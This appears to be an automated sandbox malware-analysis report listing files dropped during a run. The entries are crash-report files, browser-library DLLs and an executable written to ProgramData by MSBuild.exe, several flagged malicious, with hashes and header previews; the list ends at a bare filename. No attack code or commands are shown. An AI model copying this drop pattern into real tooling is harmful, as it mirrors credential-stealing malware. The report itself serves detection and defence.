C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D3A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.697470133013188
Encrypted:	false
SSDEEP:	192:R6l7wVeJx36z6YNiSU9SxYgmf60OsprZ89brbOsffjRjm:R6lXJR6z6YISU9SxYgmf60O/rbNffV6
MD5:	8D486813F2B9EB2CAA08CE50C800EC29
SHA1:	E29BD29BF95AC1CFC72C4BE85132B322AD9E02D8
SHA-256:	51BFFAA4815CAAD7A84334F10AF5BA8631FBEF891A00329FBC6928D5A9016901
SHA-512:	D68619E5D5FF95448A340A3DB8579471A3D5F1EBB9A5F7160EC4FFA6A11772988B406C0317F8C5602F06A1BF10B05AB656016ECA82A12598CF0FA09E7477E260
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D6A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.475964927397855
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI9X4nWpW8VYyYm8M4JqSF5W+q8eSbaA+OXd:uIjfMI7FF7V2JFWebaA+OXd
MD5:	AA8C704AFB8DECFAC9DE0D05ABB2FDDF
SHA1:	413D95D984C7E13DAA15772AD090C0A4B042AF31
SHA-256:	B7E06991F90E4658D5B42B79FA7444038AA6ABFE373D880D57696EFA134EFE8D
SHA-512:	508B138E112923405C741825E76E5AD22757870BFE70E29EC861529D956DADB22E36B4D61F34CD26746224D1BCCFBE76A43B9FF7E506ABDA2F8FE05EF12F1F5A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533265" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D5F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:43:24 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32936
Entropy (8bit):	1.7517323241939096
Encrypted:	false
SSDEEP:	96:578ZKxHxy1Rorh6bJtTi77oER4HUhJmCU/xdbfqcKgPJ5BQ1ooWIkWIwaI4pd79E:Wj1GWOJthofDq7iBKypd79Qu/
MD5:	6CE3782996B68C9DFD2A2DA39EA8CBA3
SHA1:	BA04960D989629F3BD723A135AAD066D2230E107
SHA-256:	CB4DF0A220F82FCED75EEED1A215E39D941E8E5F01E5B427A1A5B2953553D117
SHA-512:	29C6165EB28BF8E32F75C5FA41030AB07BF2C0BDEEAA08488E7B09982B14271F67BFEE639F7D8D50C19E4EDB695444B500D3176D0299F4C9BBA4C20F52DD76F3
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...........(....u......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7DAE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6360
Entropy (8bit):	3.7249434173568723
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetba8H6ZYWx2nTQE/H3E5aM4UP89b2Zsf8jGm:R6l7wVeJvH6ZYUeTsprP89b2Zsf8ym
MD5:	AF3318D22FC7E13000211F82A3E9797A
SHA1:	9A5C7B0C1C06DF86148D9228952ADF7CE771D83D
SHA-256:	6050820F617837520AEC672F058603E496ED3E6601749BAFD63326DAEA3C20CD
SHA-512:	93674212074F2C57794DF361215797672A4495D984128A4CC69DC8310222865BE049D9D762D8AB9A7094688C7825C7BB5F7C0655FA008ED030FA561B15FDEFBE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7DFD.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.532826565241371
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgiJg77aI9X4nWpW8VY9Ym8M4JgbFGsPJD+q84U3yUHa0wCghsd:uIjfgwI7FF7VBJABDm7a0wCghsd
MD5:	DEBF350BA52742405336198C9A13EF76
SHA1:	C4773223920F6035766D741938F7DF40597665DA
SHA-256:	A7297FBFCE31239C8F63DDA9E465CE7C2BC2A48E4A00715C920375937D5AD2E9
SHA-512:	BA2F7649D30049A82C11FFD641695CFA2543451046B219CBB350DEC44C0E33473EC8972429295B8CB0701B20CB25177B844CBD062AEE583806A31FB96A3EB59B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533266" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A4F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6294
Entropy (8bit):	3.6969612873785747
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbxBl6/J7KeYR3Vr3E5aM4UC89b6/sf0lem:R6l7wVeJxj69KeYhOprC89b6/sfSem
MD5:	EAEB50E1D0EB5299C6D97F9446A69E55
SHA1:	808C922CBFB523C1BF3A4F5E47945EFCEB9CCAD2
SHA-256:	C3CD670131E1B4901154348C1EC9BF0D82544DF6A58F387260FE4D309DC33F1D
SHA-512:	74EDEB15EA36FE4E092EA3DC129BE4AB0CB31793FD0E10075826292DDFE00E9171C95C530E61AEB4A7FA1B0A5D10DD3307E8AA4AFEAC27447820D46A02617635
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A70.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4576
Entropy (8bit):	4.443913136277269
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgiJg77aI9X4nWpW8VYAYm8M4JTEFCi+q8azmL3d:uIjfgwI7FF7VMJQdmL3d
MD5:	94A266513B98FEBF341EF5DB672B6B27
SHA1:	EF3B688E465DC2E31D52A131D4953E79F09B5AE6
SHA-256:	592AC4B45EBDBEBD49289CEE113908D776DC94312474ADBCE374306F6507D438
SHA-512:	EFE210B503CBC4319EFA6048CC4D542389FA1BDEF3334984BAE2CC5F80B4FCF41A9227C0950DDBCCA71BE27A43898DA32FAF4C52229F0E0500146A159E4ED318
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533266" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB26.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6350
Entropy (8bit):	3.694054583007338
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbxhl6/jKeYiQ7Vr3E5aMQUG89bTU/sfahCm:R6l7wVeJxhl6rKeYnOpDG89bA/sfaAm
MD5:	15905DB10659B46ABEA90D1DFF50CB95
SHA1:	A032719958D28915BB1B792797B4111C74BFB5A3
SHA-256:	B8E50CB95842DAF96DC315D450BBF7CB017936566C17FC7CDC13DA0C9A2AFFB5
SHA-512:	A230CAAC4F38DA84F59C799539372D691D4BED199712063F7E89721D2566C6B3C2180C11B9A4BF4195605C1658C365207ABDA774BDC448CC4DE1401678C9191F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB46.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4677
Entropy (8bit):	4.430768988905637
Encrypted:	false
SSDEEP:	48:cvIwWl8zsOJg77aI9X4nWpW8VY+Ym8M4JTEFx+q8vHKmL3d:uIjfEI7FF7ViJUKqmL3d
MD5:	2DD730B12C5A90647B44C51E5249BB1E
SHA1:	D853CA67D2C6CBD5C7CE055456F646C8D7798953
SHA-256:	1FD2E06F2186F58E4ACE78963AAD915872458D8D64C51E2CE1F16A0AD8CE805C
SHA-512:	90F0F41F5DF2D67D19034E515E5DA9B95869511235DB71A8A9A959375F3CECF5120FEA727DFBA0D5276424814FC09EAA8366A1C933690EA2070A2D44881A2776
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533368" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userJKECGDBFCB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723529670914476
Encrypted:	false
SSDEEP:	12288:ofmHj9OPDULypmp0/dPAOQxjiVQZ9n4CZpywJl9VOLO4S:oq9O9gCZTaiiZ9tXVOL
MD5:	8E704ACD1B0C26FDCFD0374D57FCB28E
SHA1:	157B61A24087521693C8ACA743D60E4C33CB803D
SHA-256:	6C7818A65F46711FBC89CD7B548829E98BE247FAB8B2C4766C85B64BC632E797
SHA-512:	B9248880D2B68A7A171F210CE0D9DB345C189C411C4946238ED840D0ED993563B413D66A1ED61357BFE699EBC62F9817C4390CFFD30067F7A357A5DB3BD63351
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................q4....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe

Download File

